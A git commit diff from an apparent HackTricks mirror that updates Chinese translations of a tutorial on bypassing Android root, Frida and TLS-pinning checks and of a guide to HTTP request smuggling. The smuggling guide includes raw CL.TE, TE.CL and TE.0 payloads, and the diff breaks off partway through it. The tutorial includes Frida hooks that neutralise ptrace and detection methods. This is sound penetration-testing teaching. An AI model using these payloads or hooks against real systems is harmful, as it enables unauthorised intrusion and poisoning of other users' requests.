mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/
This commit is contained in:
parent
ab182babf9
commit
db23486e78
@ -1,74 +1,74 @@
|
||||
# Android Anti-Instrumentation & SSL Pinning Bypass (Frida/Objection)
|
||||
# Android 反仪器化与 SSL Pinning 绕过 (Frida/Objection)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
本页面提供了一种实用的工作流程,以恢复对检测/根阻止工具或强制执行TLS固定的Android应用程序的动态分析。它专注于快速分类、常见检测以及可复制的钩子/战术,以在可能的情况下绕过它们而无需重新打包。
|
||||
本页面提供了一个实用的工作流程,用于对检测/阻止 instrumentation 的 Android 应用或强制 TLS pinning 的应用恢复动态分析。重点是快速分类、常见检测点,以及可复制粘贴的 hooks/策略,以尽可能在不重新打包的情况下绕过它们。
|
||||
|
||||
## 检测表面(应用程序检查内容)
|
||||
## Detection Surface (what apps check)
|
||||
|
||||
- 根检查:su二进制文件、Magisk路径、getprop值、常见根包
|
||||
- Frida/调试器检查(Java):Debug.isDebuggerConnected()、ActivityManager.getRunningAppProcesses()、getRunningServices()、扫描/proc、类路径、加载的库
|
||||
- 本地反调试:ptrace()、系统调用、反附加、断点、内联钩子
|
||||
- 早期初始化检查:Application.onCreate()或进程启动钩子,如果存在工具则崩溃
|
||||
- TLS固定:自定义TrustManager/HostnameVerifier、OkHttp CertificatePinner、Conscrypt固定、本地固定
|
||||
- Root 检测:su binary、Magisk paths、getprop values、常见 root packages
|
||||
- Frida/debugger 检测(Java):Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
|
||||
- Native anti‑debug:ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
|
||||
- 早期初始化检测:Application.onCreate() 或 process start hooks,如果检测到 instrumentation 则崩溃
|
||||
- TLS pinning:custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
|
||||
|
||||
## 第一步 — 快速胜利:使用Magisk DenyList隐藏根
|
||||
## Step 1 — Quick win: hide root with Magisk DenyList
|
||||
|
||||
- 在Magisk中启用Zygisk
|
||||
- 启用DenyList,添加目标包
|
||||
- 在 Magisk 中启用 Zygisk
|
||||
- 启用 DenyList,并添加目标包
|
||||
- 重启并重新测试
|
||||
|
||||
许多应用程序只查找明显的指标(su/Magisk路径/getprop)。DenyList通常可以中和幼稚的检查。
|
||||
许多应用仅查找明显的指示器(su/Magisk paths/getprop)。DenyList 常常能中和这些简单的检测。
|
||||
|
||||
参考:
|
||||
References:
|
||||
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
|
||||
|
||||
## 第二步 — 30秒Frida代码共享测试
|
||||
## Step 2 — 30‑second Frida Codeshare tests
|
||||
|
||||
在深入之前尝试常见的即插即用脚本:
|
||||
在深入之前先尝试常用的即插即用脚本:
|
||||
|
||||
- anti-root-bypass.js
|
||||
- anti-frida-detection.js
|
||||
- hide_frida_gum.js
|
||||
|
||||
示例:
|
||||
Example:
|
||||
```bash
|
||||
frida -U -f com.example.app -l anti-frida-detection.js
|
||||
```
|
||||
这些通常会阻止 Java 根/调试检查、进程/服务扫描和本机 ptrace()。在保护较轻的应用程序上很有用;加固的目标可能需要量身定制的钩子。
|
||||
这些通常对 Java 的 root/debug 检查、process/service 扫描和本地 ptrace() 进行 stub。 在防护较弱的应用上很有用;针对加固的目标可能需要定制化的 hooks。
|
||||
|
||||
- Codeshare: https://codeshare.frida.re/
|
||||
|
||||
## 第 3 步 — 通过延迟附加绕过初始化时检测器
|
||||
## 第 3 步 — 通过延迟附加绕过初始化检测器
|
||||
|
||||
许多检测仅在进程生成/onCreate() 时运行。生成时注入 (-f) 或小工具会被捕获;在 UI 加载后附加可以避开检测。
|
||||
许多检测只在 process spawn/onCreate() 期间运行。Spawn‑time injection (-f) 或 gadgets 会被发现;在 UI 加载后再附加可以绕过检测。
|
||||
```bash
|
||||
# Launch the app normally (launcher/adb), wait for UI, then attach
|
||||
frida -U -n com.example.app
|
||||
# Or with Objection to attach to running process
|
||||
aobjection --gadget com.example.app explore # if using gadget
|
||||
```
|
||||
如果这有效,保持会话稳定并继续进行映射和存根检查。
|
||||
如果这有效,保持会话稳定并继续进行 map 和 stub 检查。
|
||||
|
||||
## 第4步 — 通过Jadx映射检测逻辑和字符串搜索
|
||||
## 第4步 — 通过 Jadx 和字符串搜索映射检测逻辑
|
||||
|
||||
Jadx中的静态分类关键字:
|
||||
在 Jadx 中用于静态初筛的关键字:
|
||||
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
|
||||
|
||||
典型的Java模式:
|
||||
典型的 Java 模式:
|
||||
```java
|
||||
public boolean isFridaDetected() {
|
||||
return getRunningServices().contains("frida");
|
||||
}
|
||||
```
|
||||
常见的API审查/钩子:
|
||||
常见需要审查/hook 的 API:
|
||||
- android.os.Debug.isDebuggerConnected
|
||||
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
|
||||
- java.lang.System.loadLibrary / System.load (native bridge)
|
||||
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
|
||||
- android.os.SystemProperties.get (root/emulator heuristics)
|
||||
|
||||
## 第5步 — 使用Frida进行运行时存根(Java)
|
||||
## 第5步 — 使用 Frida (Java) 进行运行时存根
|
||||
|
||||
覆盖自定义保护以返回安全值而无需重新打包:
|
||||
```js
|
||||
@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
|
||||
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
|
||||
});
|
||||
```
|
||||
在崩溃早期进行分类?在应用程序崩溃前转储类,以便发现可能的检测命名空间:
|
||||
要排查早期崩溃吗?在它崩溃前转储类,以识别可能用于检测的命名空间:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
Java.enumerateLoadedClasses({
|
||||
@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
|
||||
});
|
||||
});
|
||||
```
|
||||
记录并中和可疑方法以确认执行流程:
|
||||
记录并禁用可疑方法以确认执行流程:
|
||||
```js
|
||||
Java.perform(() => {
|
||||
const Det = Java.use('com.example.security.DetectionManager');
|
||||
@ -104,24 +104,24 @@ return false;
|
||||
};
|
||||
});
|
||||
```
|
||||
## Step 6 — 当 Java hooks 失败时,跟踪 JNI/native 路径
|
||||
## Step 6 — 当 Java hooks 失效时,跟踪 JNI/native 路径
|
||||
|
||||
追踪 JNI 入口点以定位本地加载器和检测初始化:
|
||||
跟踪 JNI 入口点以定位 native loaders 和 detection init:
|
||||
```bash
|
||||
frida-trace -n com.example.app -i "JNI_OnLoad"
|
||||
```
|
||||
快速本地分类捆绑的 .so 文件:
|
||||
快速对捆绑的 .so 文件进行本机初筛:
|
||||
```bash
|
||||
# List exported symbols & JNI
|
||||
nm -D libfoo.so | head
|
||||
objdump -T libfoo.so | grep Java_
|
||||
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
|
||||
```
|
||||
交互式/本地反向工程:
|
||||
交互式/本地 reversing:
|
||||
- Ghidra: https://ghidra-sre.org/
|
||||
- r2frida: https://github.com/nowsecure/r2frida
|
||||
|
||||
示例:中和 ptrace 以击败 libc 中的简单反调试:
|
||||
示例:禁用 ptrace 以绕过 libc 中的简单 anti‑debug:
|
||||
```js
|
||||
const ptrace = Module.findExportByName(null, 'ptrace');
|
||||
if (ptrace) {
|
||||
@ -130,40 +130,43 @@ return -1; // pretend failure
|
||||
}, 'int', ['int', 'int', 'pointer', 'pointer']));
|
||||
}
|
||||
```
|
||||
另请参见:{{#ref}}
|
||||
另见:
|
||||
{{#ref}}
|
||||
reversing-native-libraries.md
|
||||
{{#endref}}
|
||||
|
||||
## 第7步 — Objection 修补(嵌入小工具 / 基础剥离)
|
||||
## 步骤 7 — Objection patching (embed gadget / strip basics)
|
||||
|
||||
当您更喜欢重新打包而不是运行时钩子时,请尝试:
|
||||
如果你更倾向于使用 repacking 而不是 runtime hooks,可尝试:
|
||||
```bash
|
||||
objection patchapk --source app.apk
|
||||
```
|
||||
注意:
|
||||
- 需要 apktool;确保从官方指南获取当前版本以避免构建问题: https://apktool.org/docs/install
|
||||
- Gadget 注入可以在不获取 root 权限的情况下启用仪器,但仍然可能被更强的初始化检查捕获。
|
||||
- 需要 apktool;请按照官方指南确保使用当前版本以避免构建问题: https://apktool.org/docs/install
|
||||
- Gadget injection 允许在没有 root 的情况下进行 instrumentation,但仍可能被更严格的 init‑time checks 检测到。
|
||||
|
||||
参考:
|
||||
References:
|
||||
- Objection: https://github.com/sensepost/objection
|
||||
|
||||
## 第 8 步 — 回退:修补 TLS 钉扎以获取网络可见性
|
||||
## 第8步 — 后备:修补 TLS pinning 以实现网络可见性
|
||||
|
||||
如果仪器被阻止,您仍然可以通过静态移除钉扎来检查流量:
|
||||
如果 instrumentation 被阻止,你仍然可以通过静态移除 pinning 来检查流量:
|
||||
```bash
|
||||
apk-mitm app.apk
|
||||
# Then install the patched APK and proxy via Burp/mitmproxy
|
||||
```
|
||||
- 工具: https://github.com/shroudedcode/apk-mitm
|
||||
- 有关网络配置 CA‑trust 技巧(以及 Android 7+ 用户 CA 信任),请参见:
|
||||
- 有关网络配置 CA‑trust 技巧(以及 Android 7+ 的 user CA trust),请参阅:
|
||||
|
||||
{{#ref}}
|
||||
make-apk-accept-ca-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
install-burp-certificate.md
|
||||
{{#endref}}
|
||||
|
||||
## 实用命令备忘单
|
||||
## 常用命令速查表
|
||||
```bash
|
||||
# List processes and attach
|
||||
frida-ps -Uai
|
||||
@ -183,12 +186,12 @@ apk-mitm app.apk
|
||||
```
|
||||
## 提示与注意事项
|
||||
|
||||
- 在应用程序启动时崩溃时,优先选择后期附加而不是生成
|
||||
- 一些检测在关键流程中重新运行(例如,支付、认证)——在导航期间保持钩子活跃
|
||||
- 混合静态和动态:在Jadx中搜索字符串以缩短类列表;然后钩住方法以在运行时验证
|
||||
- 加固的应用程序可能使用打包器和本地TLS固定——预计需要逆向本地代码
|
||||
- 当应用在启动时崩溃时,优先选择 attaching late 而不是 spawning
|
||||
- 一些检测会在关键流程(例如 payment、auth)中再次运行 — 在导航过程中保持 hooks active
|
||||
- 结合 static 和 dynamic:在 Jadx 中进行 string hunt 以 shortlist classes;然后 hook methods 在运行时验证
|
||||
- 加固的应用可能使用 packers 和 native TLS pinning — 预计需要 reverse native code
|
||||
|
||||
## 参考文献
|
||||
## 参考资料
|
||||
|
||||
- [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/)
|
||||
- [Frida Codeshare](https://codeshare.frida.re/)
|
||||
|
@ -2,63 +2,64 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## 什么是
|
||||
|
||||
当**前端代理**与**后端**服务器之间发生**不同步**时,允许**攻击者**发送一个HTTP **请求**,该请求将被**前端**代理(负载均衡/反向代理)视为**单个请求**,而被**后端**服务器视为**两个请求**。\
|
||||
这使得用户能够**修改到达后端服务器的下一个请求**。
|
||||
当 **front-end proxies** 与 **back-end** 服务器之间发生 **desyncronization**,使得 **attacker** 能够发送一个 HTTP **request**,该请求对 **front-end** proxies(load balance/reverse-proxy)被 **interpreted** 为 **single request**,但对 **back-end** 服务器被 **interpreted** 为 **2 request** 时,就会产生此漏洞。\
|
||||
这允许用户 **modify the next request that arrives to the back-end server after his**。
|
||||
|
||||
### 理论
|
||||
|
||||
[**RFC 规范 (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
|
||||
|
||||
> 如果收到的消息同时包含 Transfer-Encoding 头字段和 Content-Length 头字段,则后者必须被忽略。
|
||||
> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
|
||||
|
||||
**Content-Length**
|
||||
|
||||
> Content-Length 实体头指示发送给接收者的实体主体的大小(以字节为单位)。
|
||||
> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> Transfer-Encoding 头指定用于安全传输有效负载主体的编码形式。\
|
||||
> Chunked 意味着大数据以一系列块的形式发送。
|
||||
> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
|
||||
> Chunked means that large data is sent in a series of chunks
|
||||
|
||||
### 现实
|
||||
### 现实情况
|
||||
|
||||
**前端**(负载均衡/反向代理)**处理** _**content-length**_ 或 _**transfer-encoding**_ 头,而**后端**服务器**处理另一个**,导致两个系统之间的**不同步**。\
|
||||
这可能非常关键,因为**攻击者将能够向反向代理发送一个请求**,该请求将被**后端**服务器**视为两个不同的请求**。这种技术的**危险**在于**后端**服务器**将解释**注入的**第二个请求**,仿佛它**来自下一个客户端**,而该客户端的**真实请求**将是**注入请求**的一部分。
|
||||
**Front-End**(load-balance / Reverse Proxy)处理 _**Content-Length**_ 或 _**Transfer-Encoding**_ 头,而 **Back-end** 服务器处理另一个头,导致两者之间发生 **desyncronization**。\
|
||||
这可能非常危险,因为 **attacker** 可以向 reverse proxy 发送一个请求,该请求会被 **back-end** 服务器 **interpreted** 为两个不同的请求。该技术的危险在于 **back-end** 会把被注入的第二个请求当作来自下一个客户端的请求来处理,而该客户端的真实请求将成为被注入请求的一部分。
|
||||
|
||||
### 特点
|
||||
### 特别之处
|
||||
|
||||
请记住,在HTTP中**换行符由2个字节组成:**
|
||||
记住在 HTTP 中 **换行字符由 2 个字节组成:**
|
||||
|
||||
- **Content-Length**:此头使用**十进制数字**指示请求**主体**的**字节数**。主体预计在最后一个字符结束,**请求末尾不需要换行**。
|
||||
- **Transfer-Encoding:** 此头在**主体**中使用**十六进制数字**指示**下一个块**的**字节数**。**块**必须以**换行**结束,但此换行**不计入**长度指示器。此传输方法必须以**大小为0的块后跟2个换行**结束:`0`
|
||||
- **Connection**:根据我的经验,建议在请求走私的第一个请求中使用**`Connection: keep-alive`**。
|
||||
- **Content-Length**: 该 header 使用十进制数字来指示请求体的字节数。请求体预期在最后一个字符处结束,**请求末尾不需要额外的换行**。
|
||||
- **Transfer-Encoding:** 该 header 在 **body** 中使用十六进制数字来指示下一 chunk 的字节数。**chunk** 必须以换行结束,但该换行不计入长度指示。此传输方法必须以一个 **大小为 0 的 chunk,后跟 2 个换行** 结束:`0`
|
||||
- **Connection**: 根据我的经验,建议在 request Smuggling 的第一个请求中使用 **`Connection: keep-alive`**。
|
||||
|
||||
## 基本示例
|
||||
## Basic Examples
|
||||
|
||||
> [!TIP]
|
||||
> 在尝试使用Burp Suite进行利用时,**禁用 `Update Content-Length` 和 `Normalize HTTP/1 line endings`**,因为某些工具滥用换行符、回车和格式错误的内容长度。
|
||||
> When trying to exploit this with Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.
|
||||
|
||||
HTTP请求走私攻击是通过发送模棱两可的请求来构造的,这些请求利用了前端和后端服务器在解释`Content-Length`(CL)和`Transfer-Encoding`(TE)头时的差异。这些攻击可以以不同形式表现,主要为**CL.TE**、**TE.CL**和**TE.TE**。每种类型代表前端和后端服务器如何优先处理这些头的独特组合。漏洞源于服务器以不同方式处理相同请求,导致意外和潜在的恶意结果。
|
||||
HTTP request smuggling 攻击通过发送模糊不清的请求来利用 front-end 和 back-end 服务器如何解释 `Content-Length` (CL) 和 `Transfer-Encoding` (TE) 头的不一致。这类攻击主要以 **CL.TE**、**TE.CL** 和 **TE.TE** 形式出现。每种类型表示 front-end 和 back-end 在头优先级上的不同组合。漏洞的根源在于服务器以不同方式处理同一请求,从而导致不可预期并可能恶意的结果。
|
||||
|
||||
### 漏洞类型的基本示例
|
||||
|
||||

|
||||
|
||||
> [!TIP]
|
||||
> 在之前的表格中,您应该添加TE.0技术,类似于CL.0技术,但使用Transfer Encoding。
|
||||
> To the previous table you should add the TE.0 technique, like CL.0 technique but using Transfer Encoding.
|
||||
|
||||
#### CL.TE 漏洞(前端使用Content-Length,后端使用Transfer-Encoding)
|
||||
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
|
||||
|
||||
- **前端 (CL)**:根据`Content-Length`头处理请求。
|
||||
- **后端 (TE)**:根据`Transfer-Encoding`头处理请求。
|
||||
- **攻击场景:**
|
||||
- **Front-End (CL):** 根据 `Content-Length` header 处理请求。
|
||||
- **Back-End (TE):** 根据 `Transfer-Encoding` header 处理请求。
|
||||
- **Attack Scenario:**
|
||||
|
||||
- 攻击者发送一个请求,其中`Content-Length`头的值与实际内容长度不匹配。
|
||||
- 前端服务器根据`Content-Length`值将整个请求转发给后端。
|
||||
- 后端服务器由于`Transfer-Encoding: chunked`头将请求处理为分块,解释剩余数据为一个单独的后续请求。
|
||||
- **示例:**
|
||||
- 攻击者发送一个 `Content-Length` 值与实际内容长度不匹配的请求。
|
||||
- front-end 服务器根据 `Content-Length` 值将整个请求转发给 back-end。
|
||||
- back-end 服务器由于存在 `Transfer-Encoding: chunked` header,将剩余数据解释为单独的后续请求。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -73,16 +74,16 @@ GET /404 HTTP/1.1
|
||||
Foo: x
|
||||
```
|
||||
|
||||
#### TE.CL 漏洞(前端使用Transfer-Encoding,后端使用Content-Length)
|
||||
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
|
||||
|
||||
- **前端 (TE)**:根据`Transfer-Encoding`头处理请求。
|
||||
- **后端 (CL)**:根据`Content-Length`头处理请求。
|
||||
- **攻击场景:**
|
||||
- **Front-End (TE):** 根据 `Transfer-Encoding` header 处理请求。
|
||||
- **Back-End (CL):** 根据 `Content-Length` header 处理请求。
|
||||
- **Attack Scenario:**
|
||||
|
||||
- 攻击者发送一个分块请求,其中块大小(`7b`)和实际内容长度(`Content-Length: 4`)不一致。
|
||||
- 前端服务器尊重`Transfer-Encoding`,将整个请求转发给后端。
|
||||
- 后端服务器尊重`Content-Length`,仅处理请求的初始部分(`7b`字节),将其余部分视为意外的后续请求。
|
||||
- **示例:**
|
||||
- 攻击者发送一个 chunked 请求,chunk 大小(`7b`)与实际内容长度(`Content-Length: 4`)不一致。
|
||||
- front-end 服务器遵循 `Transfer-Encoding`,将整个请求转发给 back-end。
|
||||
- back-end 服务器遵循 `Content-Length`,只处理请求的初始部分(`7b` 字节),其余部分被视为意外的后续请求的一部分。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -102,15 +103,15 @@ x=
|
||||
|
||||
```
|
||||
|
||||
#### TE.TE 漏洞(两者都使用Transfer-Encoding,并进行模糊处理)
|
||||
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
|
||||
|
||||
- **服务器**:两者都支持`Transfer-Encoding`,但一个可以通过模糊处理被欺骗以忽略它。
|
||||
- **攻击场景:**
|
||||
- **Servers:** 两端都支持 `Transfer-Encoding`,但其中一端可能被混淆手法骗过而未识别。
|
||||
- **Attack Scenario:**
|
||||
|
||||
- 攻击者发送一个带有模糊处理`Transfer-Encoding`头的请求。
|
||||
- 根据哪个服务器(前端或后端)未能识别模糊处理,可能会利用CL.TE或TE.CL漏洞。
|
||||
- 请求中未处理的部分在其中一个服务器看来成为后续请求的一部分,导致走私。
|
||||
- **示例:**
|
||||
- 攻击者发送带有混淆的 `Transfer-Encoding` headers 的请求。
|
||||
- 取决于哪个服务器(front-end 或 back-end)未能识别混淆,就可能利用 CL.TE 或 TE.CL 漏洞。
|
||||
- 在一个服务器看来未被处理的请求部分会成为后续请求的一部分,从而导致 smuggling。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -129,11 +130,11 @@ Transfer-Encoding
|
||||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL 场景(前端和后端都使用Content-Length)**
|
||||
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
|
||||
|
||||
- 两个服务器仅根据`Content-Length`头处理请求。
|
||||
- 这种情况通常不会导致走私,因为两个服务器在解释请求长度时是一致的。
|
||||
- **示例:**
|
||||
- 两端服务器均仅基于 `Content-Length` header 处理请求。
|
||||
- 该场景通常不会导致 smuggling,因为两端在如何解释请求长度上保持一致。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -144,11 +145,11 @@ Connection: keep-alive
|
||||
Normal Request
|
||||
```
|
||||
|
||||
#### **CL.0 场景**
|
||||
#### **CL.0 Scenario**
|
||||
|
||||
- 指的是`Content-Length`头存在且值不为零,表示请求主体有内容。后端忽略`Content-Length`头(被视为0),但前端解析它。
|
||||
- 这在理解和构造走私攻击中至关重要,因为它影响服务器如何确定请求的结束。
|
||||
- **示例:**
|
||||
- 指的是存在 `Content-Length` header 且其值非零,表示请求体有内容。但 back-end 将 `Content-Length` 忽略(视为 0),而 front-end 解析该值。
|
||||
- 这在理解和构造 smuggling 攻击时非常关键,因为它影响服务器如何确定请求结束。
|
||||
- **Example:**
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
@ -159,11 +160,11 @@ Connection: keep-alive
|
||||
Non-Empty Body
|
||||
```
|
||||
|
||||
#### TE.0 场景
|
||||
#### TE.0 Scenario
|
||||
|
||||
- 类似于前一个场景,但使用TE。
|
||||
- 技术[在此报告](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)。
|
||||
- **示例**:
|
||||
- 类似前述场景,但使用 TE。
|
||||
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- **Example**:
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
Host: {HOST}
|
||||
@ -181,33 +182,34 @@ x: X
|
||||
EMPTY_LINE_HERE
|
||||
EMPTY_LINE_HERE
|
||||
```
|
||||
#### 破坏网络服务器
|
||||
#### 破坏 web 服务器
|
||||
|
||||
此技术在可以**在读取初始HTTP数据时破坏网络服务器**但**不关闭连接**的场景中也很有用。这样,HTTP请求的**主体**将被视为**下一个HTTP请求**。
|
||||
该技术在能够**在读取初始 HTTP 数据时使 Web 服务器 崩溃**但**不关闭连接**的场景中也很有用。这样,HTTP 请求的 **body** 将被视为 **next HTTP request**。
|
||||
|
||||
例如,如[**这篇文章**](https://mizu.re/post/twisty-python)中所述,在Werkzeug中可以发送一些**Unicode**字符,这会导致服务器**崩溃**。然而,如果HTTP连接是使用**`Connection: keep-alive`**头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的**主体**将被视为**下一个HTTP请求**。
|
||||
例如,如 [**this writeup**](https://mizu.re/post/twisty-python) 所述,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会使服务器**崩溃**。但是,如果 HTTP 连接是通过头部 **`Connection: keep-alive`** 创建的,请求的 **body** 不会被读取,连接仍保持打开,因此请求的 **body** 将被视为 **next HTTP request**。
|
||||
|
||||
#### 通过逐跳头强制
|
||||
#### 通过 hop-by-hop headers 强制
|
||||
|
||||
滥用逐跳头,您可以指示代理**删除Content-Length或Transfer-Encoding头,以便可以滥用HTTP请求走私**。
|
||||
滥用 hop-by-hop headers 可以指示代理 **删除 header Content-Length 或 Transfer-Encoding,从而使 HTTP request smuggling 可被利用**。
|
||||
```
|
||||
Connection: Content-Length
|
||||
```
|
||||
对于**有关逐跳头部的更多信息**,请访问:
|
||||
For **more information about hop-by-hop headers** visit:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../abusing-hop-by-hop-headers.md
|
||||
{{#endref}}
|
||||
|
||||
## 查找 HTTP 请求走私
|
||||
## Finding HTTP Request Smuggling
|
||||
|
||||
识别 HTTP 请求走私漏洞通常可以通过时间技术实现,这依赖于观察服务器对被操控请求的响应时间。这些技术特别适用于检测 CL.TE 和 TE.CL 漏洞。除了这些方法,还有其他策略和工具可以用来发现此类漏洞:
|
||||
识别 HTTP request smuggling 漏洞通常可以通过 timing techniques 实现,这些方法依赖于观察被操纵的请求使服务器响应所需的时间。 这些技术对检测 CL.TE 和 TE.CL 漏洞尤其有用。 除了这些方法外,还有其他策略和工具可以用来查找此类漏洞:
|
||||
|
||||
### 使用时间技术查找 CL.TE 漏洞
|
||||
### Finding CL.TE Vulnerabilities Using Timing Techniques
|
||||
|
||||
- **方法:**
|
||||
|
||||
- 发送一个请求,如果应用程序存在漏洞,将导致后端服务器等待额外数据。
|
||||
- 发送一个请求,如果应用存在漏洞,这个请求会导致后端服务器等待额外的数据。
|
||||
- **示例:**
|
||||
|
||||
```
|
||||
@ -223,18 +225,18 @@ A
|
||||
```
|
||||
|
||||
- **观察:**
|
||||
- 前端服务器根据 `Content-Length` 处理请求,并提前截断消息。
|
||||
- 后端服务器期望接收分块消息,等待下一个从未到达的块,导致延迟。
|
||||
- 前端服务器基于 `Content-Length` 处理请求并过早截断消息。
|
||||
- 后端服务器期望收到 chunked 消息,因此等待下一个永远不会到达的 chunk,从而导致延迟。
|
||||
|
||||
- **指标:**
|
||||
- 响应超时或长时间延迟。
|
||||
- 从后端服务器收到 400 Bad Request 错误,有时附带详细的服务器信息。
|
||||
- **指示信号:**
|
||||
- 响应出现超时或长时间延迟。
|
||||
- 从后端服务器收到 400 Bad Request 错误,有时会包含详细的服务器信息。
|
||||
|
||||
### 使用时间技术查找 TE.CL 漏洞
|
||||
### Finding TE.CL Vulnerabilities Using Timing Techniques
|
||||
|
||||
- **方法:**
|
||||
|
||||
- 发送一个请求,如果应用程序存在漏洞,将导致后端服务器等待额外数据。
|
||||
- 发送一个请求,如果应用存在漏洞,这个请求会导致后端服务器等待额外的数据。
|
||||
- **示例:**
|
||||
|
||||
```
|
||||
@ -249,41 +251,41 @@ X
|
||||
```
|
||||
|
||||
- **观察:**
|
||||
- 前端服务器根据 `Transfer-Encoding` 处理请求并转发整个消息。
|
||||
- 后端服务器期望根据 `Content-Length` 接收消息,等待从未到达的额外数据,导致延迟。
|
||||
- 前端服务器基于 `Transfer-Encoding` 处理并转发完整消息。
|
||||
- 后端服务器按 `Content-Length` 期望消息,等待额外永远不会到达的数据,从而导致延迟。
|
||||
|
||||
### 查找漏洞的其他方法
|
||||
### Other Methods to Find Vulnerabilities
|
||||
|
||||
- **差异响应分析:**
|
||||
- 发送略有不同版本的请求,观察服务器响应是否以意外方式不同,指示解析差异。
|
||||
- **差异化响应分析:**
|
||||
- 发送略有差异的请求版本,观察服务器响应是否以意外方式不同,这表明存在解析不一致。
|
||||
- **使用自动化工具:**
|
||||
- 像 Burp Suite 的 'HTTP Request Smuggler' 扩展可以通过发送各种模糊请求并分析响应,自动测试这些漏洞。
|
||||
- 像 Burp Suite 的 'HTTP Request Smuggler' 扩展这样的工具可以通过发送各种模糊请求并分析响应来自动测试这些漏洞。
|
||||
- **Content-Length 变异测试:**
|
||||
- 发送具有不同 `Content-Length` 值的请求,这些值与实际内容长度不一致,并观察服务器如何处理此类不匹配。
|
||||
- 发送 `Content-Length` 值与实际内容长度不一致的请求,观察服务器如何处理这些不匹配。
|
||||
- **Transfer-Encoding 变异测试:**
|
||||
- 发送具有模糊或格式错误的 `Transfer-Encoding` 头的请求,并监控前端和后端服务器对这种操控的不同响应。
|
||||
- 发送被混淆或格式错误的 `Transfer-Encoding` 头,监测前端和后端服务器对这些篡改的不同响应。
|
||||
|
||||
### HTTP 请求走私漏洞测试
|
||||
### HTTP Request Smuggling Vulnerability Testing
|
||||
|
||||
在确认时间技术的有效性后,验证客户端请求是否可以被操控至关重要。一个简单的方法是尝试毒化你的请求,例如,使对 `/` 的请求返回 404 响应。之前在 [基本示例](#basic-examples) 中讨论的 `CL.TE` 和 `TE.CL` 示例演示了如何毒化客户端请求以引发 404 响应,尽管客户端旨在访问不同的资源。
|
||||
在确认 timing techniques 有效后,关键是验证是否能操纵客户端请求。 一个直接的方法是尝试毒化你的请求,例如让对 `/` 的请求返回 404。 在 [Basic Examples](#basic-examples) 中之前讨论的 CL.TE 和 TE.CL 示例演示了如何毒化客户端请求以引发 404 响应,即使客户端试图访问不同的资源。
|
||||
|
||||
**关键考虑事项**
|
||||
**关键注意事项**
|
||||
|
||||
在通过干扰其他请求测试请求走私漏洞时,请记住:
|
||||
在通过干扰其他请求来测试 request smuggling 漏洞时,请注意:
|
||||
|
||||
- **独立的网络连接:** “攻击”和“正常”请求应通过独立的网络连接发送。对同一连接进行两者的验证并不能确认漏洞的存在。
|
||||
- **一致的 URL 和参数:** 力求对两个请求使用相同的 URL 和参数名称。现代应用程序通常根据 URL 和参数将请求路由到特定的后端服务器。匹配这些可以增加两个请求由同一服务器处理的可能性,这是成功攻击的前提。
|
||||
- **时间和竞争条件:** “正常”请求旨在检测“攻击”请求的干扰,与其他并发应用请求竞争。因此,在“攻击”请求后立即发送“正常”请求。繁忙的应用程序可能需要多次尝试以确认漏洞。
|
||||
- **负载均衡挑战:** 作为负载均衡器的前端服务器可能会将请求分配到不同的后端系统。如果“攻击”和“正常”请求最终落在不同的系统上,攻击将不会成功。这个负载均衡方面可能需要多次尝试以确认漏洞。
|
||||
- **意外用户影响:** 如果你的攻击无意中影响了另一个用户的请求(不是你发送的“正常”请求),这表明你的攻击影响了另一个应用用户。持续测试可能会干扰其他用户,因此需要谨慎处理。
|
||||
- **不同的网络连接:** “攻击”请求和“正常”请求应通过不同的网络连接发送。 在同一连接上发送两者并不能证明漏洞的存在。
|
||||
